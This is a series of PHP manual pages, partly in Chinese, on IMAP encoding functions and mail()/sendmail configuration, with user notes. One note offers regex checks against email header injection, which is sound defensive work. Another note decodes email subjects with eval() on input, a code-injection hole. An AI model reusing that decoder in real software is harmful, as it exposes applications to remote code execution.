Sets or fetches the imap timeout.

参数

timeout_type

One of the following: IMAP_OPENTIMEOUT, IMAP_READTIMEOUT, IMAP_WRITETIMEOUT, or IMAP_CLOSETIMEOUT.

timeout

The timeout, in seconds.

返回值

If the timeout parameter is set, this function returns true on success and false on failure.

If timeout is not provided or evaluates to -1, the current timeout value of timeout_type is returned as an integer.

示例

Example #1 imap_timeout() example

<?php

echo "The current read timeout is " . imap_timeout(IMAP_READTIMEOUT) . "\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


This function returns the UID for the given message sequence number

  • ? imap_timeout
  • imap_undelete ?
  • PHP Manual
  • IMAP 函数
  • This function returns the UID for the given message sequence number

imap_uid

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_uid — This function returns the UID for the given message sequence number

说明

imap_uid(IMAP\Connection $imap, int $message_num): int|false

This function returns the UID for the given message sequence number. An UID is a unique identifier that will not change over time while a message sequence number may change whenever the content of the mailbox changes.

This function is the inverse of imap_msgno().

参数

imap

IMAP\Connection 实例。

message_num

The message number.

返回值

The UID of the given message.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

注释

Note:

This function is not supported by POP3 mailboxes.

参见

  • imap_msgno() - Gets the message sequence number for the given UID

User Contributed Notes

cmanley at example dot com 05-Jan-2018 04:32
If you want emulated POP3 UIDL support, then you can either use my imap function wrapper class, or just copy/modify it's header to UIDL hashing method:
https://github.com/cmanley/PHP-IMAP-Client/
Denis Rendler 12-Aug-2015 09:42
I would like to point out that, at least in the case of Gmail, the UIDs of emails are changed if they are moved from one folder to another. Even if moved back to the same folder the UIDs get incremented and thus changed.
I found this the hard way after relaying on the notion that UIDs do not change as I found almost everywhere in the docs.
Maikel 14-Jul-2010 05:27
Be aware that the uid is unique in a single mailbox. That means a message can have as much uids as mailboxes
anon et mouse 28-Jan-2009 11:57
clarification for Andreas' note about imap_expunge()...

imap_expunge() does indeed change the UID, but only *after* the IMAP stream has closed and then reconnects.

You can use imap_expunge() as many times as you want within one IMAP stream (no reconnects) and the UID stays the same while the Msgno will change with imap_delete() followed by imap_expunge().
Andreas Seeger 24-Jul-2008 10:26
The uid will change in case of unsing imap_expunge. Be shure that
all work ist done before using imap_expunge.
roger at sdr dot com dot au 01-May-2008 07:34
A little quirk of UIDs in a PUBLIC folder in MDaemon (and perhaps other servers?). The UIDs may be unsynchronised between users if the server's option to store flags on a per-user basis is turned on. That is, a message may have a UID of 5 for one user (meaning it was the 5th message to enter the box) but 3 for another user (who perhaps subscribed to the box later). If this is a problem, turn off the per-user option for the mailbox.
steve_foley at excite dot com 04-Sep-2002 10:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in


Unmark the message which is marked deleted

  • ? imap_uid
  • imap_unsubscribe ?
  • PHP Manual
  • IMAP 函数
  • Unmark the message which is marked deleted

imap_undelete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_undelete — Unmark the message which is marked deleted

说明

imap_undelete(IMAP\Connection $imap, string $message_nums, int $flags = 0): bool

Removes the deletion flag for a specified message, which is set by imap_delete() or imap_mail_move().

参数

imap

IMAP\Connection 实例。

message_nums

A string representing one or more messages in IMAP4-style sequence format ("n", "n:m", or combination of these delimited by commas).

flags

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_delete() - Mark a message for deletion from current mailbox
  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

phrank 29-Dec-2007 03:47
If you need to use the uid instead of msgno use

imap_clearflag_full($stream, implode(',', $flags), '\\DELETED', ST_UID);
rdi at nospam dot donireland dot com 18-Nov-2007 07:18
The imap_delete function allows the option to use a UID for the message number but the imap_undelete function does not.


Unsubscribe from a mailbox

  • ? imap_undelete
  • imap_utf7_decode ?
  • PHP Manual
  • IMAP 函数
  • Unsubscribe from a mailbox

imap_unsubscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_unsubscribe — Unsubscribe from a mailbox

说明

imap_unsubscribe(IMAP\Connection $imap, string $mailbox): bool

Unsubscribe from the specified mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_subscribe() - Subscribe to a mailbox

User Contributed Notes

There are no user contributed notes for this page.


Decodes a modified UTF-7 encoded string

  • ? imap_unsubscribe
  • imap_utf7_encode ?
  • PHP Manual
  • IMAP 函数
  • Decodes a modified UTF-7 encoded string

imap_utf7_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_decode — Decodes a modified UTF-7 encoded string

说明

imap_utf7_decode(string $string): string|false

Decodes modified UTF-7 string into ISO-8859-1 string.

This function is needed to decode mailbox names that contain certain characters which are not in range of printable ASCII characters.

参数

string

A modified UTF-7 encoding string, as defined in » RFC 2060, section 5.1.3.

返回值

Returns a string that is encoded in ISO-8859-1 and consists of the same sequence of characters in string, or false if string contains invalid modified UTF-7 sequence or string contains a character that is not part of ISO-8859-1 character set.

参见

  • imap_utf7_encode() - Converts ISO-8859-1 string to modified UTF-7 text

User Contributed Notes

Anonymous 09-Feb-2015 10:21
I can't find method for converting imap utf7 into utf8.
So I have to write several lines of code to solve this issue. May be this could be usefull. Here is no error handling but it could be added.

Usage:
$imap_utf7 = '[Gmail]/&BBIEMAQ2BD0EPgQ1-';
$utf8 =  ImapUtf7::decode($imap_utf7);
$imap_utf7_2 =  ImapUtf7::encode($utf8);

[ImapUtf7.php]
<?php
class ImapUtf7 {
    static $imap_base64 =
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,';
    static private function encode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $a=($a<<8)|ord($s[$i]); $al+=8;
            for(;$al>=6;$al-=6) $res.=self::$imap_base64[($a>>($al-6))&0x3F];
        }
        if ($al>0) { $res.=self::$imap_base64[($a<<(6-$al))&0x3F]; }
        return $res;
    }
    static private function encode_utf8_char($w) {
        if ($w&0x80000000) return '';
        if ($w&0xFC000000) $n=5; else
        if ($w&0xFFE00000) $n=4; else
        if ($w&0xFFFF0000) $n=3; else
        if ($w&0xFFFFF800) $n=2; else
        if ($w&0xFFFFFF80) $n=1; else return chr($w);
        $res=chr(( (255<<(7-$n)) | ($w>>($n*6)) )&255);
        while(--$n>=0) $res.=chr((($w>>($n*6))&0x3F)|0x80);
        return $res;
    }
    static private function decode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $k=strpos(self::$imap_base64,$s[$i]); if ($k===FALSE) continue;
            $a=($a<<6)|$k; $al+=6;
            if ($al>=8) { $res.=chr(($a>>($al-8))&255);$al-=8; }
        }
        $r2=''; $n=strlen($res);
        for($i=0;$i<$n;$i++) {
            $c=ord($res[$i]); $i++;
            if ($i<$n) $c=($c<<8) | ord($res[$i]);
            $r2.=self::encode_utf8_char($c);
        }
        return $r2;
    }
    static function encode($s) {
        $n=strlen($s);$err=0;$buf='';$res='';
        for($i=0;$i<$n;) {
            $x=ord($s[$i++]);
            if (($x&0x80)==0x00) { $r=$x;$w=0; }
            else if (($x&0xE0)==0xC0) { $w=1; $r=$x &0x1F; }
            else if (($x&0xF0)==0xE0) { $w=2; $r=$x &0x0F; }
            else if (($x&0xF8)==0xF0) { $w=3; $r=$x &0x07; }
            else if (($x&0xFC)==0xF8) { $w=4; $r=$x &0x03; }
            else if (($x&0xFE)==0xFC) { $w=5; $r=$x &0x01; }
            else if (($x&0xC0)==0x80) { $w=0; $r=-1; $err++; }
            else { $w=0;$r=-2;$err++; }
            for($k=0;$k<$w && $i<$n; $k++) {
                $x=ord($s[$i++]); if ($x&0xE0!=0x80) { $err++; }
                $r=($r<<6)|($x&0x3F);
            }
            if ($r<0x20 || $r>0x7E ) {
                $buf.=chr(($r>>8)&0xFF); $buf.=chr($r&0xFF);
            } else {
                if (strlen($buf)) {
                    $res.='&'.self::encode_b64imap($buf).'-';
                    $buf='';
                }
                if ($r==0x26) { $res.='&-'; } else $res.=chr($r);
            }
        }
        if (strlen($buf)) $res.='&'.self::encode_b64imap($buf).'-';
        return $res;
    }
    static function decode($s) {
        $res=''; $n=strlen($s); $h=0;
        while($h<$n) {
            $t=strpos($s,'&',$h); if ($t===false) $t=$n;
            $res.=substr($s,$h,$t-$h); $h=$t+1; if ($h>=$n) break;
            $t=strpos($s,'-',$h); if ($t===false) $t=$n;
            $k=$t-$h;
            if ($k==0) $res.='&';
            else $res.=self::decode_b64imap(substr($s,$h,$k));
            $h=$t+1;
        }
        return $res;
    }
}
Min He 10-May-2010 11:21
For Chinese charset, we can use:

mb_convert_encoding($mailbox, "UTF7-IMAP", "GB2312");

when you want to create a mailbox in Chinese.

OR

mb_convert_encoding($mailbox, "GB2312", "UTF7-IMAP");

when you want to show the listed mailbox with the right charset.
27-Aug-2002 10:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de 03-Nov-2000 03:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.


Converts ISO-8859-1 string to modified UTF-7 text

  • ? imap_utf7_decode
  • imap_utf8_to_mutf7 ?
  • PHP Manual
  • IMAP 函数
  • Converts ISO-8859-1 string to modified UTF-7 text

imap_utf7_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text

说明

imap_utf7_encode(string $string): string

Converts string to modified UTF-7 text.

This is needed to encode mailbox names that contain certain characters which are not in range of printable ASCII characters.

参数

string

An ISO-8859-1 string.

返回值

Returns string encoded with the modified UTF-7 encoding as defined in » RFC 2060, section 5.1.3.

参见

  • imap_utf7_decode() - Decodes a modified UTF-7 encoded string

User Contributed Notes

Olivier 07-Jan-2019 02:34
For those who search for a good implementation of modified UTF-7 encoding for IMAP, you can find a code that works on :
http://tananyag.ntszki.hu/mail/functions/imap_utf7_local.php
The result is different from imap-utf7-encode() function and is identical to mailbox name generated by Thunderbird.
dn at dnunes dot com 08-Nov-2007 11:59
Maccoy function's isn't reliable 'cause it doesn't follow the RFC 2060. It will work fine for most latin chars (which, in base64, will turn into "+A..."), but for other language it can make a big mess. If you're using an internationalizated system, try using the other presented options.
31-Jul-2006 07:10
This encoding will not work for cyrus imapservers and you might have problems with other mail clients.
Use mb_convert_encoding($str, "UTF7-IMAP","ISO-8859-15") instead.

ps: mb_convert_encoding() requires   building php with  --enable-mbstring option
02-Nov-2005 03:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("?") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br 07-Mar-2005 05:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
    (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
    if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
    }
# change spaces by entropy because mb_convert fail with spaces
    $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
    if($str=mb_convert_encoding($str,"UTF-7")){
        # change characters
            $str=preg_replace("/\+A/","&A",$str);
        # change to spaces again
            $str=preg_replace("/xyxy/"," ",$str);
        # return encoded string
            return $str;
 # else
    }else{
        # print error and return false
            echo "error: is not possible to encode this string '$str'.[".
            imap_last_error().
            "]";
            return false;
    }
}
?>


Encode a UTF-8 string to modified UTF-7

  • ? imap_utf7_encode
  • imap_utf8 ?
  • PHP Manual
  • IMAP 函数
  • Encode a UTF-8 string to modified UTF-7

imap_utf8_to_mutf7

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_utf8_to_mutf7 — Encode a UTF-8 string to modified UTF-7

说明

imap_utf8_to_mutf7(string $string): string|false

Encode a UTF-8 string to modified UTF-7 (as specified in RFC 2060, section 5.1.3).

Note:

This function is only available, if libcclient exports utf8_to_mutf7().

参数

string

A UTF-8 encoded string.

返回值

Returns string converted to modified UTF-7, 或者在失败时返回 false.

参见

  • imap_mutf7_to_utf8() - Decode a modified UTF-7 string to UTF-8

User Contributed Notes

There are no user contributed notes for this page.


Converts MIME-encoded text to UTF-8

  • ? imap_utf8_to_mutf7
  • IMAP\Connection ?
  • PHP Manual
  • IMAP 函数
  • Converts MIME-encoded text to UTF-8

imap_utf8

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf8 — Converts MIME-encoded text to UTF-8

说明

imap_utf8(string $mime_encoded_text): string

Converts the given mime_encoded_text to UTF-8, if the declared charset is known to libc-client. Otherwise the given text is decoded, but not converted to UTF-8.

参数

mime_encoded_text

A MIME encoded string. MIME encoding method and the UTF-8 specification are described in » RFC2047 and » RFC2044 respectively.

返回值

Returns the decoded string, if possible converted to UTF-8.

示例

Example #1 Basic imap_utf8() Usage

<?php
echo imap_utf8("Johannes =?ISO-8859-1?Q?Schl=FCter?=");
?>

以上示例的输出类似于：

Johannes Schlu?ter

参见

  • imap_mime_header_decode() - Decode MIME header elements

User Contributed Notes

kloewer at gmail dot com 17-Oct-2011 03:08
Use  iconv_mime_decode();

<?php
// This yields "Subject: Prüfung Prüfung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

http://php.net/manual/de/function.iconv-mime-decode.php
esvit at mail dot ru 26-Jan-2011 05:12
That fixed the all caps issue:

<?php
function imap_utf8_fix($string) {
  return iconv_mime_decode($string,0,"UTF-8");
}
?>
number0 at tlen dot pl 06-Jul-2009 02:43
string in uppercase error http://bugs.php.net/bug.php?id=44098
my function to decode string

<?php
function decodeMimeStr($string, $charset="UTF-8" )
{
      $newString = '';
      $elements=imap_mime_header_decode($string);
      for($i=0;$i<count($elements);$i++)
      {
        if ($elements[$i]->charset == 'default')
          $elements[$i]->charset = 'iso-8859-1';
        $newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
      }
      return $newString;
}
?>
MetaYii 22-Jun-2009 01:24
Be aware: imap_utf8 tends to return the string in uppercase.
Anonymous webmaster@luzon14DoTCom 30-Jul-2007 12:43
You may also try this example:

$_subject = "=?iso-8859-1?b?THV6b26uMTQ=?= dot CoM";
echo utf8_decode(imap_utf8($_subject));

OUTPUT: Luzon®14 dot CoM

Regards,
Tuso/Nazareth
hans at lintoo dot dk 19-Sep-2005 04:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br 14-Feb-2005 12:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
          $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
          eval("\$str='".
                  preg_replace($pat,$cha."'$1')).'",$str)
                  ."';");
        # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
mogster_at_boomdesign.no 31-Oct-2002 03:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)


The IMAP\Connection class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a imap resource as of PHP 8.1.0.

类摘要

final class IMAP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Mail

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Mail 函数
    • ezmlm_hash — 计算 EZMLM 所需的散列值
    • mail — 发送邮件

User Contributed Notes

There are no user contributed notes for this page.


简介

mail() 函数可以发送邮件。

User Contributed Notes

There are no user contributed notes for this page.


需求

为了使右键函数正常运行，PHP 必须在编译时访问你系统里的 sendmail 可执行文件。如果你使用了其他邮件程序，例如 qmail 或者 postfix，请确保它们使用了与 sendmail 适配的包装器。PHP 首先会在你的 PATH 变量里查找 sendmail，然后在下面的路径里查找： /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib。 强烈建议 sendmail 在您的 PATH 变量里。并且，运行编译后 PHP 程序的用户也必须有执行 sendmail 的权限。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Mail 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mail.add_x_header | "0" | PHP_INI_PERDIR |
mail.log | NULL | PHP_INI_SYSTEM|PHP_INI_PERDIR |
mail.force_extra_parameters | NULL | PHP_INI_SYSTEM|PHP_INI_PERDIR |
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL |
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mail.add_x_header bool

添加 X-PHP-Originating-Script，将会包含脚本的 UID 以及文件名。

mail.log string

记录所有调用 mail() 的日志文件路径。日志条目包含脚本的完整路径、行号、To 地址和报头。

mail.force_extra_parameters string

强制添加指定参数作为额外参数传递给 sendmail 二进制文件。这些参数将始终代替 mail() 第五个参数的值。

SMTP string

仅用于 Windows：PHP 在 mail() 函数中用来发送邮件的 SMTP 服务器的主机名称或者 IP 地址。

smtp_port int

仅用于 Windows：使用 mail() 发送邮件时，连接到使用 SMTP 的指定服务器的端口号，默认为 25。

sendmail_from string

通过 STMP 直接用 PHP 发送邮件时的 "From:" 邮件地址的值（仅限 Windows）。该选项同时设置了 "Return-Path:" 头。

sendmail_path string

sendmail 程序的路径，通常为 /usr/sbin/sendmail 或 /usr/lib/sendmail。configure 脚本会尝试找到该程序并设定为默认值，但是如果失败的话，可以在这里设定。

不使用 sendmail 的系统应将此指令设定为其邮件系统提供的 sendmail 替代程序，如果有的话。例如，» Qmail 用户通常可以设为 /var/qmail/bin/sendmail 或 /var/qmail/bin/qmail-inject。

qmail-inject 不需要任何选项就能正确处理邮件。

此指令也可用于 Windows。如果设定，smtp，smtp_port 和 sendmail_from 都被忽略并运行指定的命令。

User Contributed Notes

torsar at gmail dot com 03-Apr-2023 04:01
Ненавижу всякие денверы и ёбн серверы.

У меня голый апач на винде 10 и на нем 6 версий пхп от 5.6 до самой последней. :)
Все устанавливается и конфигиться за минуты. :)
Все версии пхп конфигяться отдельно и работают одновременно. На разных виртуальных хостах и портах.
Не надо ничего переключать и перезапускать.

У меня еще есть виртуальная машина(WmVare) c FreeBSD 13.
Там, например, Redis.
С пхп на винде все работает.

Так вот вопрос:
можно ли юзать sendmail с виртуальной машины на юниксе
в пхп на винде?
Было бы замечательно!!!

Зы в идеале хочу перенести апач с пхпями на виртуальную машину с юникс.
А загружать пхп скрипты с браузера под виндой.
Там уже установлен апач и последняя версия пхп.
И еще perl и Go. (Зачем не знаю. :) Было по приколу поковырять конфиги и понастраивать :) )

Но пока не разобрался как в юниксах подтянуть к голому апачу несколько версий пхп. :(
jscholz at wisc dot edu 02-Jun-2022 08:06
The documentation should be made clear that sendmail does NOT default to -t -i when using just /usr/sbin/sendmail. You literally need to specify the options.

I know this might seem like a no-brainer but I wasted hours trying to get mail() to work only to discover that the sendmail program is NOT passed -t and -i by default as stipulated in the documentation.
Mark Simon 05-Jul-2019 07:02
It is worth reiterating that, as stated above, sendmail_path also works for Windows, overriding other Windows SMTP settings.

The comment in php.ini, "For Unix only", does not make that clear.

This makes it relatively easy to substitute a fake sendmail program or even a shell script/batch file to save mail to a text file.

I use this technique when teaching or testing in PHP.
php dot net at ii0 dot net 16-Nov-2016 08:46
If anyone gets this cryptic error message in the PHP error logs:
"sh: -t: command not found"
after upgrading from PHP 5.4, this may be the solution for you.

I upgraded PHP from 5.4 to 5.6 and all our mail() functionality suddenly broke, with no useful error logging.

If this is you, and you've been using ini_set() to set the "sendmail_path" then note that even though it's apparently not mentioned in the upgrade documentation -- or anywhere else I could find on php.net (or a dozen forums) -- you'll now need to go set the sendmail_path in your php.ini file; it is now ignored if you use ini_set() to specify a path to the sendmail binary on the fly.

So, just specify "sendmail_path" in php.ini instead.  That's all there is to it -- that fixed all the mail() functionality for us.

Hope this little note saves someone else as much time as I spent troubleshooting and researching.  Cheers!
phpnote-mail at revmaps dot no-ip dot org 19-Jan-2016 09:16
setting return path:

 Return-path header does not work because it is not part of smtp.

 on *nix -f may be set on the mail command
alternatively
 some MTAs accept mbox-style "From " header on the first header line
note: no colon after "From" , must be the first header line
or  you may be able to re-configure you MTA to interpret return-path headers

 -f is the most reliable method but it may mean that you can't set any other command-line option due to shell escaping problems.

also note that email formatting requirements differ between windows and everything else. sendmail expects only \n line-endings
elitescripts2000 at yahoo dot com 08-Dec-2013 07:52
On Ubuntu 13.04, not sure of the other Distros.

If you simply uncomment the default:

sendmail_path = "sendmail -t -i"

Your mail() functions will all fail.  This is because, you should place the FULL PATH (i.e.  /usr/sbin/sendmail -t -i )

The documentation states PHP tries it's best to find the correct sendmail path, but it clearly failed for me.

So, always enter in the FULLPATH to sendmail or you may get unexpected failing results.

As a secondary note:  Those that just want to ENFORCE the -f parameter, you can do so in php.ini using:

mail.force_extra_parameters = -fdo_not_reply@domain.tld

You can leave the sendmail path commented out, it will still use the defaults  (under UNIX  -t -i options which if you look them up are very important to have set)....

But, now there is no way to change this, even with the 5th argument of the mail() function.  -f is important, because if NOT set, will be set to which ever user the PHP script is running under, and you may not want that.

Also, -f  sets the Return-Path:  header which is used as the Bounce address, if errors occur, so you can process them.  You you can not set Return-Path: in mail() headers for some reason... you could before.  Now you have to use the -f option.
blueshibuyadream at gmail dot com 28-Mar-2013 12:27
On Darwin OS such as OSX (current one: 10.8.3) you need to add a specific command and option to the sendmail_path constant if you have downloaded and installed a mamp with a stack.

Indeed you can see the required libraries for PHP, Apache, MySQL in "common/lib" folder. The problem is when you run an external command using these libraries, for example "sendmail". It could be a problem if it gets the stack libraries and not the system ones (different versions, etc).

The "env -i" command clean the Stack environment variables and run "sendmail" with the system libraries.

Hope this helps.
A Austin 11-Jul-2012 05:40
For linux you can over-ride the default "From" for the outgoing emails by including in php.ini this line:

sendmail_path = "/usr/sbin/sendmail -t -i -f fromMe@blah.com"

The path should work for most linux installations.


Mail 函数

Table of Contents

  • ezmlm_hash — 计算 EZMLM 所需的散列值
  • mail — 发送邮件

User Contributed Notes

webmaster at weethet dot nl 31-Aug-2007 07:35
As mentioned earlier, for Windows users there is a fake sendmail option. A bit more detailed description how to do this is:

If you have a test server in use running Windows and some kind of WAMP combo (XXAMP, WAMP Server, etc) then you'll notice that the PHP sendmail command (mail()) does not work. Windows simply does not provide the sendmail statement ...

There is a simple trick to get this to work though;

1) Download (or use the attached file) sendmail.zip from http://glob.com.au/sendmail/

2) Unzip this in a folder on your c: drive (preferably use a simple path, for example c:\wamp\sendmail -- long filenames could cause problems)

3) Edit your PHP.INI file (note: WAMP users should access their php.ini file from the WAMP menu). Go to the [mail function] section and modify it as such:

[mail function]
; For Win32 only.
;SMTP =

; For Win32 only.
;sendmail_from =

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

; Force the addition of the specified parameters to be passed as extra parameters
; to the sendmail binary. These parameters will always replace the value of
; the 5th parameter to mail(), even in safe mode.
;mail.force_extra_paramaters =

.. and save the changes.

4) Open the sendmail.ini and modify the settings to:

[sendmail]

; you must change mail.mydomain.com to your smtp server,
; or to IIS's "pickup" directory.  (generally C:\Inetpub\mailroot\Pickup)
; emails delivered via IIS's pickup directory cause sendmail to
; run quicker, but you won't get error messages back to the calling
; application.

smtp_server=mail.yourdomain.com

; smtp port (normally 25)

smtp_port=25

; the default domain for this server will be read from the registry
; this will be appended to email addresses when one isn't provided
; if you want to override the value in the registry, uncomment and modify

default_domain=yourdomain.com

; log smtp errors to error.log (defaults to same directory as sendmail.exe)
; uncomment to enable logging
; error_logfile=sendmail_error.log

; create debug log as debug.log (defaults to same directory as sendmail.exe)
; uncomment to enable debugging
; debug_logfile=sendmail_debug.log

; if your smtp server requires authentication, modify the following two lines

;auth_username=
;auth_password=

; if your smtp server uses pop3 before smtp authentication, modify the
; following three lines

pop3_server=mail.yourdomain.com
pop3_username=you@yourdomain.com
pop3_password=mysecretpassword

; to force the sender to always be the following email address, uncomment and
; populate with a valid email address.  this will only affect the "MAIL FROM"
; command, it won't modify the "From: " header of the message content

force_sender=you@yourdomain.com

; sendmail will use your hostname and your default_domain in the ehlo/helo
; smtp greeting.  you can manually set the ehlo/helo name if required

hostname=

The optional error and debug logging is recommended when trying this the first time, so you have a clue what goes wrong in case it doesn't work.
Force_sender is also optional, but recommended to avoid confusion on the server end.
Obviously mail.yourdomain.com, you@yourdomain.com, and mysecretpassword should be the relevant info for your SMTP server.
Now restart the WAMP services (mainly Apache so PHP re-reads it's config).

Now you're good to go and use the PHP mail() statement as if you're a Unix user ...
anselm at netuxo dot co dot uk 10-Nov-2006 02:31
In case you don't want to, or can't, configure sendmail for your server, a good alternative is esmtp - it's an smtp mailer with minimum configuration that can be used as a sendmail drop-in : http://esmtp.sourceforge.net/
martin dot felis at gmx dot de 10-Mar-2006 07:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
derernst at gmx dot ch 17-Feb-2006 08:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com 08-Feb-2006 02:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="user@example.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");     // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@example.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@example.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@example.com>'.$eol;     // these two to set reply address
$headers .= "Message-ID:<".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;           // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;   // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
